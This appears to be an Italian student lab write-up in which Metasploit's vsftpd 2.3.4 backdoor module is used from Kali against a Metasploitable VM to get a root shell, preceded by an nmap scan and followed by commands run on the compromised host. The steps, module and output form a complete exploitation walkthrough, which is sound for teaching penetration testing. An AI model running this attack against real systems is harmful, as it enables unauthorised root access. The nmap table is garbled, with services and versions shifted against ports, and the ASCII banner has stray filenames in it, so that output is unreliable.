

Hacking con Metasploit sulla macchina Metasploitable.

Indice:

- Introduzione
- Attivazione Metasploit
- Configurazione payload
- Attacco avvenuto con successo

Introduzione

- Prima di attaccare una macchina abbiamo bisogno di conoscere quali sono i suoi punti deboli. Questo lo facciamo attraverso un tool presente sulla nostra macchina attaccante (kali-linux) che si chiama “Nmap”. Di seguito abbiamo fatto una scansione delle porte vulnerabili attraverso il comando: “nmap -sV 192.168.1.149”. Dove 192.168.1.149 è l'indirizzo ip della macchina da attaccare.

- Di seguito uno screenshot che mostra l'avvenuta scansione delle porte.

```
(kali@kali)-[~]
$ nmap -sV 192.168.1.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-04 09:02 EST
Nmap scan report for 192.168.1.149
Host is up (0.00052s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rshd
513/tcp   open  login?       Netkit rshd
514/tcp   open  shell        GNU Classpath grmiregistry
1099/tcp  open  java-rmi     Metasploitable root shell
1524/tcp  open  bindshell    2-4 (RPC #100003)
2049/tcp  open  nfs          ProFTPD 1.3.1
2121/tcp  open  ftp          MySQL 5.0.51a-3ubuntu5
3306/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5432/tcp  open  vnc          VNC (protocol 3.3)
5900/tcp  open  X11          (access denied)
6000/tcp  open  irc          UnrealIRCd
6667/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8009/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.80 seconds
```

Attivazione di Metasploit

```
(kali㉿kali)-[~]  
$ msfconsole  
Metasploit tip: View missing module options with show missing
```

```
File System: head.py      cdk000ko:..  
.:ok000kdc* head.py      cdk000ko:..  
.x00000000000000c      c0000000000000x.  
:0000000000000000k,    ,k0000000000000000:  
'0000000000kkkk00000: :000000000000000000'  
o00000000.      .o0000o0000l.      ,00000000o  
d00000000.      .c00000c.      ,00000000x  
l00000000.      ;d;      ,00000000l  
.00000000.      .;netodo.py;      ,00000000.  
c0000000.      .00c.      'o00.      ,0000000c  
o000000.      .0000.      :0000.      ,000000o  
l00000.      .0000.      :0000.      ,00000l  
;0000'      .0000.      :0000.      ;0000;  
.d00o      .0000o0cccx0000.      x00d.  
,kol      .00000000000000.      .d0k,  
:kk;.00000000000000.c0k:  
praticas3.py;k0000000000000000k:  
      ,x000000000000x,  
      .l00000000l.  
      ,d0d,  
      .  
      =[ metasploit v6.3.43-dev ]  
+ -- --=[ 2376 exploits - 1232 auxiliary - 416 post ]  
+ -- --=[ 1391 payloads - 46 encoders - 11 nops ]  
+ -- --=[ 9 evasion ]
```

```
Metasploit Documentation: https://docs.metasploit.com/
```

Come abbiamo visto siamo andati ad attivare Metasploit dalla nostra Kali per attaccare la macchina metasploitable sul servizio “vsftpd” sulla porta 21, ip 192.168.1.149.

```
msf6 > search vsftpd
```

```
Matching Modules
```

| # | Name | Disclosure Date | Rank | C |
|---|--------------------------------------|-----------------|-----------|---|
| 0 | auxiliary/dos/ftp/vsftpd_232 | 2011-02-03 | normal | Y |
| 1 | exploit/unix/ftp/vsftpd_234_backdoor | 2011-07-03 | excellent | N |

Interact with a module by name or index. For example `info 1`, `use 1` or `use exploit/unix/ftp/vsftpd_234_backdoor`

```
msf6 > use 1
```

```
[*] No payload configured, defaulting to cmd/unix/interact
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
```

```
RHOSTS => 192.168.1.149
```

Configurazione payload

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
```

Compatible Payloads

| # | Name | Disclosure Date | Rank | Check | Description |
|---|---------------------------|-----------------|--------|-------|--|
| 0 | payload/cmd/unix/interact | | normal | No | Unix Command, Interact with Established Connection |

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

| Name | Current Setting | Required | Description |
|---------|-----------------|----------|---|
| CHOST | | no | The local client address |
| CPORT | | no | The local client port |
| Proxies | | no | A proxy chain of format type:host:port[,type:host:port][...] |
| RHOSTS | 192.168.1.149 | yes | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT | 21 | yes | The target port (TCP) |

Payload options (cmd/unix/interact):

| Name | Current Setting | Required | Description |
|------|-----------------|----------|-------------|
|------|-----------------|----------|-------------|

Exploit target:

| Id | Name |
|----|-----------|
| 0 | Automatic |

Una volta configurato il payload, che nel nostro caso è stato utilizzato quello già presente di default, andiamo a far partire l'attacco con il comando “exploit”.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
```

```
[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
```

```
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
```

```
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
```

```
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
```

```
[*] Found shell.
```

```
[*] Command shell session 1 opened (192.168.1.150:37729 → 192.168.1.149:6200) at 2024-03-04 09:49:13 -0500
```


Attacco avvenuto con successo.

Come possiamo vedere siamo entrati all'interno della macchina Metasploitable. Lo notiamo dall'indirizzo ip che è proprio quello della macchina attaccata.

```
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:1a:9a:84
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.
          0
          inet6 addr: fe80::a00:27ff:fe1a:9a84/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1699 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1574 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:170853 (166.8 KB)  TX bytes:130810 (127.7 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:550 errors:0 dropped:0 overruns:0 frame:0
          TX packets:550 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:224573 (219.3 KB)  TX bytes:224573 (219.3 KB)
```


Come si vede dall'immagine siamo andati a salvare la cartella “test_metasploit” all'interno della macchina metasploitable.

```
pwd
/
mkdir test_metasploit
ls
7E,UTW}R
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```

Grazie